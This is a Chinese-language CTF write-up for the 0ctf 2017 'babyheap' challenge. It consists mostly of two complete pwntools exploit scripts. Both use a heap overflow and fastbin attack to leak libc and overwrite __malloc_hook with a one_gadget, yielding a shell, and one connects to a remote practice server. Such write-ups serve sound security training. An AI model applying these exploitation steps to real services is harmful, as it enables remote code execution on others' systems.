babyheap_0ctf_2017

考察的主要是是堆溢出和fastbin attack。通过这道题巩固了一下基础的堆利用,另外看了其他师傅的wp后发现了新的泄漏libc的方法。嗯。。。严格来说也不能算是新的方法,其本质上是一样的,主要是在构造上有一定的区别。

​ 先贴一下我的exp:

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()

	return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './babyheap_0ctf_2017'
context.binary = binary
elf = ELF(binary,checksec=False)


def dbg():
	gdb.attach(p)
	pause()

def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
 
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
 
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
 
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()

def pwn(ip,port,debug):
	global p
	global libc
	if(debug == 1):
		p = process(binary)
		libc = ELF("/home/parallels/Desktop/2.23-0ubuntu11.2_amd64/libc-2.23.so")
	else:
		p = remote(ip,port)
		libc = ELF("/home/parallels/Desktop/libc/libc-2.23.so")

	alloc(0x18) # 0 
	alloc(0x68) # 1 
	alloc(0x68) # 2
	alloc(0x18) # 3 
	fill(0,'a'*0x18+'\xe1') 
	free(1)
	alloc(0x68) # 1 
	base = u64(dump(2)[:6].ljust(8, "\x00"))-88-libc.sym['__malloc_hook']-0x10
	leak('base',base)
	malloc_hook = base+libc.sym['__malloc_hook']
	leak("__malloc_hook",libc.sym['__malloc_hook'])
	alloc(0x60) # 4 <-> 2
	free(3)
	free(2)
	fill(4,p64(malloc_hook-0x23)+'\n')
	alloc(0x60)
	alloc(0x60)
	fill(3,flat('a'*19,base+0x4526a))
	alloc(0x18)
	itr()

if __name__ == "__main__":
	pwn("node3.buuoj.cn",26394,0)
  

​ 再来看一下其他师傅的exp

#!/usr/bin/env python
 
from pwn import *
import sys
 
context.log_level = "debug"
 
elf = "./babyheap_0ctf_2017"
 
p = process(elf)


def dbg():
	gdb.attach(p)
	pause()

def alloc(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
 
def fill(idx, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(len(content)))
    p.recvuntil("Content: ")
    p.send(content)
 
def free(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
 
def dump(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvline()
    return p.recvline()
 
 
alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
 
free(1)
free(2)
 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload) #通过溢出修改chunk2中的fd指针最低位改成0x80,这样chunk2就指向了chunk4
 
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload) #通过溢出修改chunk4的size为0x21,为了绕过fastbin检查
 
alloc(0x10) #1
alloc(0x10) #2 指向的是chunk4
 
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80) #5
free(4) 
 
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 #通过chunk2泄漏
log.info("libc_base: "+hex(libc_base))
 
alloc(0x60) #4 对原来的chunk4进行切割,以便于接下伪造fake chunk
free(4)
 
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
 
alloc(0x60) #4
alloc(0x60) #fake chunk
 
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload) #修改malloc_hook为one gadget
 
alloc(255)
 
p.interactive()

你可能感兴趣的:(Buuctf)